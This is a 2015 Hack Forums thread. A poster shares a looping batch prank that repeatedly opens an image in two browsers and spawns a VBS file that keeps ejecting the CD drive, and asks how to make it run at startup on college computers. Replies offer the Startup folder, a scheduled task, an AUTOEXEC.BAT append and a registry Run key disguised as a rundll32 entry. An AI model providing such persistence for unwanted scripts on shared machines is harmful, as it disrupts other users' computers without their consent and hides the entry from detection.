

Forum:[Hack Forums](#)

Thread: [\[SOLVED\]Added bat file on startup when run](#)

Recursive™ - April 8, 2015, 10:03 am

Hiya,

I have the following code:

```
Code @echo off
cls
:start
start iexplore http://akk.li/pics/anne.jpg
start "Chrome" chrome --new-window http://akk.li/pics/anne.jpg
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
goto start
```

I'm looking into placing this code on startup of the pc (windows). Does anyone know what I could possibly add to add this file on startup. Or does anyone have any tutorials as such?

Stupidly, my college allow users to create and bat files -.-.

White Light - April 8, 2015, 10:10 am

I'd check out [this link](#). It's really helpful with what you want to do.

annikk.exe - April 8, 2015, 10:40 am

Some easy options:

- Place it in the "All Users" Startup folder in the start menu.
- Create a scheduled task to run it anytime a user logs on.

Recursive™ - April 8, 2015, 11:24 am

(Apr 8, 2015 10:10 AM)White Light Wrote: [\[CITE\]](#) I'd check out [this link](#). It's really helpful with what you want to do.

Wow thanks, never thought of that. +1 repped.

annikk.exe - April 8, 2015, 11:46 am

(Apr 8, 2015 10:40 AM)annikk.exe Wrote: [\[CITE\]](#) Some easy options:

- Place it in the "All Users" Startup folder in the start menu.
- Create a scheduled task to run it anytime a user logs on.

Does this solve your problem?

If not, please provide more information.

White Light - April 8, 2015, 12:26 pm

(Apr 8, 2015 11:24 AM)Forumnator Wrote: [\[CITE\]](#) Wow thanks, never thought of that. +1 repped. Clearly, otherwise you wouldn't have posted this thread.

Ventriloquism - April 8, 2015, 2:56 pm

Here are two ways I personally would go about this:

First would be the "autoexec" method:

```
Code If exist "%systemdrive%\AUTOEXEC.BAT" (  
copy opendisk.vbs "%systemroot%\opendisk.vbs"  
echo start "" "%systemroot%\opendisk.vbs" >> %systemdrive%\AUTOEXEC.BAT  
)
```

Second would be the "Registry" start-up method:

```
Code REG ADD "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v  
"rundll32_awspeGfa_w32" /t "REG_SZ" /d opendisk.vbs /f >nul
```

Note: I recently came across the registry method while searching through old files on one of my harddrives, and I failed to remember if it works successfully or not, so I would definitely try the autoexec method first before you resort to that...Just though I would throw that in there if things hit the fan. Good luck ?

White Light - April 8, 2015, 3:01 pm

(Apr 8, 2015 02:56 PM)WhoHacksAnymore Wrote: [\[CITE\]](#) Here are two ways I would go about this:

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Autoexec hasn't worked since before Windows XP, and attempting to use HKLM in the registry requires admin rights.

Ventriloquism - April 8, 2015, 3:03 pm

(Apr 8, 2015 03:01 PM)White Light Wrote: [\[CITE\]](#) Autoexec hasn't worked since before Windows XP, and attempting to use HKLM in the registry requires admin rights.

Really? I could have sworn it was still continued. I just though if you wanted to view it, you have to enable the viewing of hidden files...my bad OP ?

Palladium - April 8, 2015, 9:22 pm

(Apr 8, 2015 11:46 AM)annikk.exe Wrote: [\[CITE\]](#) Does this solve your problem?

If not, please provide more information. He has already solved his problem since WhiteLight kindly linked him a help source.

Recursive™ - April 8, 2015, 11:16 pm

Thanks guys for all of your replies, I've had a good play with moving the file to the startup folder. Jolly good.

Prefixed Solved.

